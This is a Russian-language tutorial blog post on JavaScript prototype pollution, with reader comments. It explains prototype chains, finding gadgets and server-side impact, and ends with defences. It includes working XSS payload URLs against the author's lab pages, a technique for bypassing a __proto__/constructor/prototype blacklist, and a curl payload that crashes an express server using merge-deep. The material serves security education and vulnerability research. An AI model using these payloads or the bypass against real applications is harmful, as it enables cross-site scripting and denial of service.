JavaScript prototype pollution: практика поиска и эксплуатации

    Если вы следите за отчетами исследователей, которые участвуют в bug bounty программах, то наверняка знаете про категорию уязвимостей JavaScript prototype pollution. А если не следите и встречаете это словосочетание впервые, то предлагаю вам закрыть этот пробел, ведь эта уязвимость может привести к полной компрометации сервера и клиента. Наверняка хотя бы один продуктов вашей (или не вашей) компании работает на JavaScript: клиентская часть веб-приложения, десктоп (Electron), сервер (NodeJS) или мобильное приложение.


    Эта статья поможет вам погрузиться в тему prototype pollution. В разделах Особенности JavaScript и Что такое prototype pollution? вы узнаете как работают объекты и прототипы JavaScript и как особенности их функционирования могут привести к уязвимостям. В разделах Prototype pollution на сервере и Prototype pollution на клиенте вы научитесь искать и эксплуатировать эту уязвимость на кейсах из реального мира. Наконец вы изучите способы защиты и почему самый распространенный способ защиты можно легко обойти.


    Прежде чем перейти к следующим разделам, предлагаю вам открыть инструменты разработчика и по ходу статьи попробовать приведенные примеры своими руками, с тем чтобы в результате получить некоторый практический опыт и глубже понять материал.


    Особенности JavaScript


    Уязвимость prototype pollution присуща исключительно языку JavaScript. Стало быть, прежде чем разбираться с самой уязвимостью, нам необходимо разобраться в особенностях JavaScript, которые к ней приводят.


    Объект


    Как в JavaScript существуют объекты? Откроем инструменты разработчика и создадим простой объект, содержащий два свойства.


    > var o = {name: 'Ivan', surname: 'Ivanov'}
    < undefined

    Мы можем получить доступ к свойствам объекта двумя основными способами.


    > o.name
    < "Ivan"

    > o['surname']
    < "Ivanov"

    Что будет, если мы попробуем получить доступ к несуществующему свойству?


    > o.age
    < undefined

    Мы получили значение undefined, что означает отсутствие свойства. Пока что ничего необычного.


    В JavaScript с функциями можно обращаться как с обычными переменными (подробности в статье функции первого класса), поэтому методы объекта определяются как свойства и по сути ими и являются. Добавим метод foo() на объекте o и вызовем его.


    > o.foo = function() {
    >   console.log("foobar")
    > }
    > o.foo()
    < foobar
    < undefined

    Пробуем вызвать метод toString().


    > o.toString()
    < "[object Object]"

    Внезапно метод toString() исполняется, несмотря на то что у объекта o нет метода toString()! Проверить это мы можем с помощью функции Object.getOwnPropertyNames().


    > Object.getOwnPropertyNames(o)
    < (2) ["name", "surname", "foo"]

    Действительно, только три свойства: name, surname и foo. Откуда же вязался метод toString()?


    Прототип объекта


    JavaScript минималистичен с точки зрения количества сущностей. Практически любая сущность является объектом, включая: массивы, функции и даже определение класса! На классах мы немного задержимся.


    В JavaScript нет классов в привычном большинству программистов понимании. Если ранее вы не сталкивались с классами в JavaScript, но имеете опыт использования классов в других языках, то первым делом предлагаю забыть все что вы знаете о классах.


    Итак, представьте что у вас есть две сущности: объект и примитив (число, строка, null и т.п.). Как с их помощью реализовать такую удобную фичу классов как наследование? Можно выделить специальное свойство, которое будет у каждого объекта. Оно будет содержать ссылку на родителя. Назовем это свойство [[Prototype]]. Окей, а что если мы не хотим наследовать все свойства и методы от родителя? Давайте выделим специальное свойство у родителя от которого будут наследоваться свойства и методы и назовем его prototype!


    Узнать прототип объекта можно несколькими способами, например с помощью метода Object.getPrototypeOf().


    > Object.getPrototypeOf(o)
    < {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}

    Нам вернулось ни что иное как Object.prototype, который является прототипом практически всех объектов в JavaScript. Убедиться, что это Object.prototype достаточно легко.


    > Object.getPrototypeOf(o) === Object.prototype
    < true

    Когда вы обращаетесь к свойству объекта через o.name или o['name'] на самом деле происходит следующее:


    1. Движок JavaScript ищет свойство name в объекте o.
    2. Если свойство есть, то оно возвращается. Иначе берется прототип объекта o и свойство ищется в нем!

    Вот и получается, что метод toString() на самом деле определен в Object.prototype, но так как при создании объекта его прототипом неявно назначается Object.prototype мы можем вызывать метод toString() практически у всего.


    У родителя в свою очередь тоже может быть прототип, у родителя родителя тоже и так далее. Такая последовательность прототипов от объекта до null называется цепочкой прототипов или prototype chain. В связи с этим небольшая ремарка: при обращении к свойству свойство ищется во всей цепочке прототипов.


    В случае с объектом o цепочка прототипов относительно короткая, всего лишь один прототип.


    > o.__proto__
    < {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
    > o.__proto__.__proto__
    < null

    Чего не скажешь об объекте window.


    > window.__proto__
    < Window {TEMPORARY: 0, PERSISTENT: 1, Symbol(Symbol.toStringTag): "Window", constructor: ƒ}
    > window.__proto__.__proto__
    < WindowProperties {Symbol(Symbol.toStringTag): "WindowProperties"}
    > window.__proto__.__proto__.__proto__
    < EventTarget {Symbol(Symbol.toStringTag): "EventTarget", addEventListener: ƒ, dispatchEvent: ƒ, removeEventListener: ƒ, constructor: ƒ}
    > window.__proto__.__proto__.__proto__.__proto__
    < {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
    > window.__proto__.__proto__.__proto__.__proto__.__proto__
    < null

    Кстати, слово "прототип" в JavaScript может обозначать как минимум три разные вещи в зависимости от контекста:


    • Внутреннее свойство [[Prototype]]. Внутренним оно называется потому что оно живет в "кишках" движка JavaScript, мы получаем к нему доступ только через специальные функции __proto__, Object.getPrototypeOf() и другие.
    • Свойство prototype: Object.prototype, Function.prototype и другие.
    • Свойство __proto__. Редкое и не совсем корректное применение, потому что технически __proto__ это getter / setter и лишь достает ссылку на прототип объекта и возвращает ее.

    Что такое prototype pollution?


    Термином prototype pollution называют ситуацию, когда изменяют свойство prototype базовых объектов (например, Object.prototype, Function.prototype, Array.prototype).


    > Object.prototype.age = 42
    < 42
    > var a = []
    < undefined
    > a.age
    < 42

    После исполнения этого кода практически у любого объекта будет свойство age со значением 42. Исключением является два случая:


    • Если на объекте определено свойство age, то оно перекроет аналогичное свойство прототипа.
    • Если объект не наследуется от Object.prototype.

    Как prototype pollution может выглядеть в коде? Рассмотрим программу pp.js.


    $ cat pp.js

    var o = {};
    var a = process.argv[2];
    var b = 'test';
    var v = process.argv[3];
    
    console.log(({}).test);
    
    o[a][b] = v;
    
    console.log(({}).test);

    Если злоумышленник контролирует параметры a и v, то он может установить a в значение '__proto__' и v в произвольное строковое значение, таким образом добавив свойство test на Object.prototype.


    $ node pp.js __proto__ 123
    undefined
    123

    Поздравляю, мы только что нашли prototype pollution! "Но кто в здравом уме будет использовать подобные конструкции?" — спросите вы. Действительно, данный пример редко встретишь в реальной жизни. Однако существуют конструкции, на первый взгляд безобидные, которые при определенных обстоятельствах позволяют нам добавлять или изменять свойства Object.prototype. Конкретные примеры мы разберем в следующих разделах.


    Prototype pollution на клиенте


    Клиентский prototype pollution начали активно исследовать в середине 2020 года. На данный момент хорошо исследован вектор, когда пейлод находится в параметрах запроса (после ?) или в фрагменте (после #). Подобная уязвимость чаще всего эскалируется до Reflected XSS.


    Вполне возможно, что пейлод можно не только передать в параметрах запроса или фрагменте, но и сохранить на сервере. Таким образом пейлод будет отрабатывать каждый раз и для каждого пользователя, который посетит определенную страницу, вне зависимости от того посетил ли он вредоносную ссылку.


    Поиск prototype pollution


    Давайте попробуем найти prototype pollution на уязвимом сайте https://ctf.nikitastupin.com/pp/known.html. Самый простой способ это сделать — установить расширение PPScan для Google Chrome и посетить уязвимую страницу.


    Мы видим, что счетчик на иконке расширении стал равен двум — значит какой-то из пейлодов сработал. Если нажмем на иконку расширения, то увидим пейлоды, которые демонстрируют наличие уязвимости.


    Расширение PPScan в действии


    Попробуем один из пейлодов руками: перейдем по ссылке https://ctf.nikitastupin.com/pp/known.html?__proto__[polluted]=test, откроем инструменты разработчика и проверим результат.


    > Object.prototype.polluted
    < "test"

    Отлично, пейлод сработал! К сожалению, сам по себе клиентский prototype pollution не несет серьезной опасности. В лучшем случае с его помощью можно сделать клиентский DoS, который лечится обновлением страницы.


    Импакт и поиск гаджетов


    На клиенте больше всего интересна эскалация до XSS. JavaScript код, с помощью которого можно эскалировать prototype pollution до нормальной уязвимости, называется гаджетом. Как правило у нас есть либо известный гаджет, либо мы должны искать гаджеты самостоятельно. Самостоятельный поиск новых гаджетов это дело достаточно трудоемкое.


    Использование существующих гаджетов


    В первую очередь имеет смысл проверить существующие гаджеты в репозитории BlackFan/client-side-prototype-pollution или в Cross-site scripting (XSS) cheat sheet.


    Есть как минимум два способа проверки известных гаджетов:


    1. С помощью плагина Wappalyzer.
    2. С помощью скрипта fingerprint.js.

    Воспользуемся вторым методом, но прежде поймем как он работает. Как правило, гаджет определят специфичные переменные в глобальном контексте, по наличию которых можно установить присутствие гаджета. Например, если вы используете Twitter Ads, то наверняка будете использовать Twitter Universal Website Tag, который определит переменную twq. По большому счету fingerprint.js проверяет наличие конкретных переменных в глобальном контексте. Гаджеты и соответствующие им переменные я позаимствовал из BlackFan/client-side-prototype-pollution.


    Скопируем скрипт и исполним его в контексте уязвимой страницы.


    Скрипт fingerprint.js показывает, что на странице есть Twitter Universal Website Tag гаджет


    Похоже, что на странице есть Twitter Universal Website Tag гаджет. Находим описание гаджета в BlackFan/client-side-prototype-pollution, больше всего нас интересует секция PoC с готовым пейлодом. Пробуем пейлод на уязвимом сайте https://ctf.nikitastupin.com/pp/known.html?__proto__[hif][]=javascript:alert(document.domain).


    Успешная эксплуатация prototype pollution с помощью известного гаджета


    Через пару секунд появляется заветный alert(), отлично!


    Поиск новых гаджетов


    Что делать в случае, когда гаджета нет? Перейдем на https://ctf.nikitastupin.com/pp/unknown.html и убедимся, что он уязвим к prototype pollution https://ctf.nikitastupin.com/pp/unknown.html?__proto__[polluted]=31337.


    > Object.prototype.polluted
    < "31337"

    Однако на этот раз fingerprint.js не нашел гаджеты.


    Скрипт fingerprint.js не нашел гаджеты


    Несмотря на то что Wappalyzer сообщает о наличии jQuery это ложное положительное срабатывание из-за библиотеки jquery-deparam, которая используется на сайте https://ctf.nikitastupin.com/pp/unknown.html.


    Ложное положительное срабатывание плагина Wappalyzer


    Существует несколько подходов к поиску новых гаджетов:


    1. filedescriptor/untrusted-types. На момент написания статьи существует две версии плагина: main и old. Мы будем использовать old, потому что она проще чем main. Изначально этот плагин разрабатывался для поиска DOM XSS, подробности можно найти в видео Finding DOMXSS with DevTools | Untrusted Types Chrome Extension.
    2. pollute.js. Как работает этот инструмент, а так же какие уязвимости он позволил найти можно прочитать в статье Prototype pollution – and bypassing client-side HTML sanitizers.
    3. Искать руками, с помощью отладчика.

    Воспользуемся первым подходом. Устанавливаем плагин, открываем консоль и переходим на https://ctf.nikitastupin.com/pp/unknown.html. По большому счету расширение filedescriptor/untrusted-types просто логирует все обращения к API, которые могут привести к DOM XSS.


    Используем плагин filedescriptor/untrusted-types для поиска новых гаджетов


    В нашем случае всего два кейса. Теперь нам необходимо вручную проверить каждый кейс и понять можем ли мы с помощью prototype pollution поменять какую-либо переменную, чтобы достичь XSS.


    Первым идет eval с аргументом this, его мы пропускаем. Во втором кейсе видим, что атрибуту src некоторого HTML элемента присваивается значение https://ctf.nikitastupin.com/pp/hello.js. Идем в стэк трейс, переходим по loadContent @ unknown.html:17 и перед нами появляется следующий код.


    ...
    function loadContent() {
      var scriptSource = window.scriptSource || "https://ctf.nikitastupin.com/pp/hello.js";
      const s = document.createElement('script');
      s.src = scriptSource;
      document.body.appendChild(s);
    }
    ...

    Этот код подгружает скрипт s. Источник скрипта задается переменной scriptSource. Переменная scriptSource в свою очередь принимает уже существующее значение window.scriptSource, либо значение по умолчанию "https://ctf.nikitastupin.com/pp/hello.js".


    Тут-то и кроется наш гаджет. С помощью prototype pollution мы можем определить произвольное свойство на Object.prototype, который конечно же является прототипом window. Пробуем добавить значение Object.prototype.scriptSource =, для этого переходим на https://ctf.nikitastupin.com/pp/unknown.html?__proto__[scriptSource]=https://ctf.nikitastupin.com/pp/alert.js.


    Успешная эксплуатация prototype pollution с помощью нового гаджета


    И вот он наш alert()! Мы только что нашли новый гаджет для конкретного сайта.


    Вы возможно скажете, что это искусственный пример и в реальном мире такого не встретишь. Однако на практике подобные кейсы встречаются, потому что конструкция var v = v || "default" достаточно распространен в JavaScript. Например, гаджет для библиотеки leizongmin/js-xss, который описан в разделе "XSS" статьи Prototype pollution – and bypassing client-side HTML sanitizers как раз таки использует эту конструкцию.


    Необычный кейс


    Помимо обычных векторов __proto__[polluted]=1337 и __proto__.polluted=31337 однажды я наткнулся на странный кейс. Это было на одном большом сайте. К сожалению репорт еще не раскрыт, поэтому без имени компании. Мой приватный плагин для поиска prototype pollution сообщал об уязвимости, но воспроизвести c помощью обычных векторов ее не удавалось. Я сел разбираться руками в чем же дело. Уязвимость уже исправили, но у нас есть дубликат.


    Переходим на https://ctf.nikitastupin.com/pp/bypass.html?__proto__[polluted]=1337&__proto__.polluted=31337. Открываем инструменты разработчика и проверяем сработала ли уязвимость.


    > Object.prototype.polluted
    < VM30:1 Uncaught ReferenceError: polluted is not defined
    <     at <anonymous>:1:1

    Похоже уязвимость не сработала, но давайте заглянем чуть глубже в исходный код.


    ...
    var t = new Test;
    t.aaa.utils.deparam(location.search.slice(1));

    Уже знакомая нам функция deparam вызывается с аргументом location.search. Посмотрим на определение функции.


    ...
      aaa.utils.deparam = function(t, e) {
        var n = ["__proto__", "constructor", "prototype"],
    ...

    Сразу же понимаем, что имеем дело с минифицированным кодом, поэтому будет труднее. Далее замечаем знакомые строки "__proto__", "constructor" и "prototype". Скорее всего это черный список параметров, а это означает, что разработчики уже пытались исправить уязвимость. Но почему же тогда плагин нашел уязвимость? Разбираемся дальше.


    Дальнейшее понимание минифицированного исходного кода в статике крайне трудно, поэтому ставим точку останова на строке h = h[a] = u < p ? h[a] || (l[u + 1] && isNaN(l[u + 1]) ? {} : []) : o. Точку останова ставим на строке, которая приведена ниже. Почему именно на ней? Дело в том, что плагин заметил prototype pollution именно на ней, поэтому с нее логичнее всего начать. перезагружаем страницу и попадаем в отладчик.


    Ищем обход фикса с помощью отладчика


    Теперь мы видим конструкцию, которая может привести к уязвимости: h = {}; a = "__PROTO__"; h = h[a] = .... Почему же уязвимость не срабатывает? Дело в том, что __PROTO__ и __proto__ это разные идентификаторы. Дальнейшая идея была в том, чтобы разобраться как в точности применяется черный список и попробовать найти обход. После пары часов работы с отладчиком я понял внутреннюю логику работы функции, что к словам из черного списка применяют toUpperCase(), попробовал обойти эту операцию, но попытки не увенчались успехом.


    Поэтому я решил посмотреть на картину шире, разобраться с тем кодом, который я еще не видел. Из чего-то, что могло помочь с обходом, осталась лишь одна строка.


    ...
              aaa.utils.isArray(i[a]) ? i[a].push(o) : void 0 !== i[a] ? i[a] = [i[a], o] : i[a] = o
    ...

    На первый взгляд эта строка обрабатывает массивы (например, a[0]=31&a[1]=337 распарсится в a = [31, 337]). Если присмотреться пристальнее, то обычные объекты (например, b=42) тоже обрабатываются этой строчкой. Несмотря на то, что этот код не приводит к prototype pollution напрямую, здесь не используется черный список, а значит это надежда на обход!


    Я вспомнил кейс когда prototype pollution исправили похожим образом (черный список __proto__, constructor, prototype), а другой исследователь обошел это и смог изменять свойства типа toString, в итоге DoS. Моей первой идеей было изменить метод includes(), чтобы он возвращал false. Но потом я понял, что я могу добавить только строку, а когда includes это строка и мы делаем вызов () на ней, то возникает исключение (includes is not a function) и скрипт не работает дальше.


    После этого я вспомнил, что массивы в JavaScript это обычные объекты, а следовательно к элементам массива можно получить доступ через квадратные скобки.


    > var a = [1, 2, 3]
    < undefined
    > a["0"]
    < 1

    Вслед за этим у меня появилась идея, что можно сначала положить __proto__ в элемент массива, а затем обратиться к этому элементу через индекс, таким образом обойдя черный список.


    Ставим точку останова на строке aaa.utils.isArray(i[a]) .... Пробуем пейлод https://ctf.nikitastupin.com/pp/bypass.html?v=1337, попадаем в отладчик, жмем "Step over next function call". В результате исполняется i[a] = o, проверяем значение i.


    > i
    < {v: "1337"}

    А что будет если вместо v указать __proto__? Пробуем пейлод https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337, на этот раз исполняется i[a] = [i[a], o] и проверяем значение i.


    > i
    < Array {}
        __proto__: Array(2)
          0: {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
          1: "1337"
          length: 2
          __proto__: Array(0)

    Воу! В итоге получается весьма причудливый объект, но самое важное, что этот объект будет использоваться при парсинге следующих параметров! Как нам это поможет, спросите вы? Ответ буквально в одном шаге от нас.


    Уберем предыдущую точку останова и добавим точку останова на строке h = h[a], на потенциально уязвимой конструкции. Так же добавим еще один параметр в пейлод https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337&o[k]=leet. Попадаем в отладчик и проверяем значение h[0].


    > h["0"] === Object.prototype
    < true
    > h
    < Array {}
        __proto__: Array(2)
          0: {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
          1: "1337"
          length: 2
          __proto__: Array(0)

    Внезапно у нас появился доступ к Object.prototype! Чтобы понять почему так произошло, давайте вспомним, что (1) к элементам массива в JavaScript можно обращаться с помощью квадратных скобок, причем индекс может быть строкой, (2) если свойство не найдено на объекте, то поиск продолжается в цепочке прототипов. Вот и получается, что когда мы исполняем h["0"], то свойство "0", которого нет на объекте h, берется из прототипа h.__proto__ и значение его равно Object.prototype.


    Значит если мы изменим o на 0, то мы сможем добавить свойство на Object.prototype? Отключаем точки останова, пробуем https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337&0[k]=leet и проверяем результат.


    > Object.prototype.k
    < "leet"

    Думаю, вы уже все поняли сами.


    Prototype pollution на сервере


    Все началось с исследования Olivier Arteau — Prototype pollution attacks in NodeJS applications
    , prototype-pollution-nsec18. Оливер обнаружил уязвимость prototype pollution сразу в нескольких npm пакетах, включая один из самых популярных пакетов lodash (CVE-2018-3721). Пакет lodash используется во многих приложениях и пакетах JavaScript экосистемы. В том числе он применяется в популярной Ghost CMS, которая, из-за этого, была уязвима к удаленному выполнения кода, для эксплуатации уязвимости не требовалась аутентификация.


    Поиск prototype pollution


    Без исходного кода данный класс уязвимостей достаточно тяжело обнаружить и эксплуатировать. Исключение составляют случае, когда у вас есть CVE и готовый пейлод. Но допустим у нас есть исходный код. На какие места в коде стоит обращать внимание? Где чаще всего встречается данная уязвимость?


    Какие конструкции подвержены уязвимости?


    Чаще всего prototype pollution находят в следующих конструкциях / операциях:


    • рекурсивное слияние объектов (например, jonschlinkert/merge-deep)
    • клонирование объекта (например, jonschlinkert/clone-deep)
    • преобразование GET параметров в JavaScript объект (например, AceMetrix/jquery-deparam)
    • преобразование конфигурационных файлов .toml или .ini в JavaScript объект (например, npm/ini)

    Мы можем проследить закономерность: уязвимы те операции, которые на вход принимают сложную структуру данных (например, .toml) и преобразуют ее в JavaScript объект.


    Динамический анализ


    Начнем с динамического, так как он проще для понимания и применения. Алгоритм довольно простой и уже реализован в find-vuln:


    1. Скачать npm пакет.
    2. Вызывать каждую функцию в пакете, с пейлодом в качестве аргумента.
    3. Проверить отработала ли уязвимость.

    Единственный недостаток find-vuln.js в том, что он не проверяет constructor.prototype и поэтому пропускает часть уязвимостей, но этот пробел достаточно легко исправить.


    Похожим алгоритмом я обнаружил CVE-2020-28460 и уязвимость в пакете merge-deep. Обе уязвимости я репортил через Snyk. С первой все прошло гладко, а вот со второй вышла забавная ситуация. После отправки репорта мейнтейнер долго не выходил на связь и в итоге эту же уязвимость нашли GitHub Security Lab, сумели выйти на мейнтейнера раньше и зарегистрировали (GHSL-2020-160).


    В целом, внося небольшие изменения в find-vuln.js даже сейчас можно находить уязвимости в npm пакетах.


    Статический анализ


    Данный тип уязвимостей трудно искать простым grep-ом, но можно весьма успешно искать с помощью CodeQL. Существующие CodeQL запросы действительно находят prototype pollution в реальных пакетах, хотя на данный момент покрыты далеко не все варианты этой уязвимости.


    Импакт


    Допустим мы обнаружили библиотеку, уязвимую к prototype pollution. Какой ущерб эта уязвимость может нанести системе?


    В NodeJS окружении это практически всегда гарантированный DoS, потому что можно перезаписать базовую функцию (например, Object.prototype.toString()) и все вызовы этой функции будут возвращать исключение. Рассмотрим на примере популярного сервера expressjs/express.


    $ cat server.js

    var merge = require('merge-deep');
    var express = require('express');
    var bodyParser = require('body-parser');
    
    var app = express();
    
    app.use(bodyParser.json({
      type: 'application/*+json'
    }));
    
    app.get('/', function(req, res) {
      res.send("Use the POST method !");
    });
    
    app.post('/', function(req, res) {
      merge({}, req.body);
      res.send(req.body);
    });
    
    app.listen(3000, function() {
      console.log('Example app listening on port 3000!')
    });

    Устанавливаем зависимости и запускаем сервер.


    $ npm i merge-deep@3.0.2 express body-parser
    $ node server.js

    И в другой вкладке терминала отправляем пейлод.


    $ curl -i localhost:3000
    HTTP/1.1 200 OK
    ...
    $ curl -H "Content-Type: application/javascript+json" --data '{"constructor":{"keys":1}}' http://localhost:3000
    HTTP/1.1 500 Internal Server Error
    ...
    $ curl -i localhost:3000                                                                                       
    HTTP/1.1 500 Internal Server Error
    ...

    Как видите, после отправки пейлода сервер теряет возможность обрабатывать даже простые GET запросы, потому что express внутри использует Object.keys(), который мы успешно превратили из функции в число.


    Зачастую в веб-приложении можно раскрутить до удаленного выполнения кода. Как правило это делается через шаблонизаторы. Подробности эксплуатации можно найти в статьях ниже.



    Защита


    Исправить данную уязвимость можно по-разному, начнем с наиболее популярного варианта.


    Черный список полей


    Чаще всего разработчики просто добавляют __proto__ черный список и не копируют это поле. Так делают даже опытные разработчики (например, кейс npm/ini).


    Такой фикс легко обойти используя constructor.prototype вместо __proto__.


    С одной стороны этот метод прост в реализации и зачастую его хватает для исправления уязвимости, с другой стороны он не искореняет проблему, потому что все еще остается возможность изменения Object.prototype и других прототипов.


    Object.create(null)


    Можно использовать объект без прототипа, тогда модификация прототипа будет невозможна.


    > var o = Object.create(null)
    < undefined
    > o.__proto__
    < undefined

    Минус в том, что дальше этот объект может поломать часть функционала. Например, кто-то захочет вызвать на этом объекте toString() и в ответ получит o.toString is not a function.


    Object.freeze()


    Еще один вариант это "заморозить" Object.prototype с помощью функции Object.freeze(). После этого Object.prototype нельзя будет модифицировать.


    Однако есть несколько подводных камней:


    • Могут сломаться зависимости, которые модифицируют Object.prototype.
    • В общем случае вам придется замораживать Array.prototype и другие объекты.

    JSON схема


    Можно валидировать входные данные на соответствие заранее определенной JSON схеме и отбрасывать все остальные параметры. Например, это можно сделать с помощью библиотеки avj с параметром additionalProperties = false.


    Итоги


    JavaScript prototype pollution крайне опасная уязвимость, ее необходимо больше изучать как с точки зрения поиска новых векторов, так и с точки зрения поиска новых гаджетов (эксплуатации). На клиенте совсем не развит вектор, когда пейлод сохранен на сервере, поэтому здесь есть простор для дальнейшего исследования.


    Кроме того, у JavaScript есть много других интересных особенностей, которые можно использовать для новых уязвимостей, например DEF CON Safe Mode — Feng Xiao — Discovering Hidden Properties to Attack Node js Ecosystem. Наверняка есть и другие тонкости JavaScript, которые могут приводить к настолько же серьезным или более серьезным последствиям для безопасности приложений.


    Благодарности


    В первую очередь хочется поблагодарить Olivier, Michał Bentkowski, Sergey Bobrov, s1r1us, po6ix, William Bowling за статьи, доклады и программы по теме prototype pollution, которыми они поделились со всеми. Без них исследование едва бы началось :)


    Сергею Боброву и Михаилу Егорову за коллаборацию в поиске уязвимостей.


    За вычитку, обратную связь и другую помощь по статье спасибо Анатолию Катюшину, Александру Барабанову, Денису Макрушину и Дмитрию Жерегеле.


    Ссылки



    Примеры:



    Другое:


    Huawei
    Huawei – мировой лидер в области ИКТ

    Комментарии 8

      0
      Для Object.create(null):
      Например, кто-то захочет вызвать на этом объекте toString() и в ответ получит undefined.


      Все же получит "...toString is not a function"
        0
        Пофиксил, спасибо!
        0
        Вы не могли бы подробнее рассказать, кто выполняет пейлоад из параметров запроса?
        В клиентском/серверном коде уже должен быть троян, который достанет строку из location.search и выполнит ее? Тогда непонятно зачем заморачиваться с прототипами, сразу alert можно.
          +1
          Вы не могли бы подробнее рассказать, кто выполняет пейлоад из параметров запроса?
          Пейлод сначала обрабатывается кодом, который уязвим к prototype pollution. В этот момент происходит собственно prototype pollution, следствием которого является изменение значения некоторых переменных. После этого в определенный момент код использует измененное значение переменных, которое приводит к XSS / RCE /…
          В клиентском/серверном коде уже должен быть троян, который достанет строку из location.search и выполнит ее? Тогда непонятно зачем заморачиваться с прототипами, сразу alert можно.
          Код, который обрабатывает значение из location.search может не приводить XSS, но приводить к prototype pollution. Если не учитывать prototype pollution в данном случае, то мы пропускаем уязвимость :)
          0
          Довольно интересно! Спасибо за ещё один пример почему не стоит использовать объекты как словарь. Особенно когда существую решения на подобии Map.
            0

            Ну, по идее же, точно так же можно изменить и Map.prototype

              +1
              Речь шла о хранении location.search с помощью Map.

              При вызове map.set('__proto__', someValue) просто создастся запись в Map в которой будет строковой ключ '__proto__'.
              А вот вызов map['__proto__'] = someValue может содержать нежелательные для нас последствия описанные в статье.
            0

            Тут я описываю более простое решение. Если вкратце, то это полное удаление __proto__ из рантайма, и проверка "является ли свойство собственным" во всяких deep merge.

            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

            Самое читаемое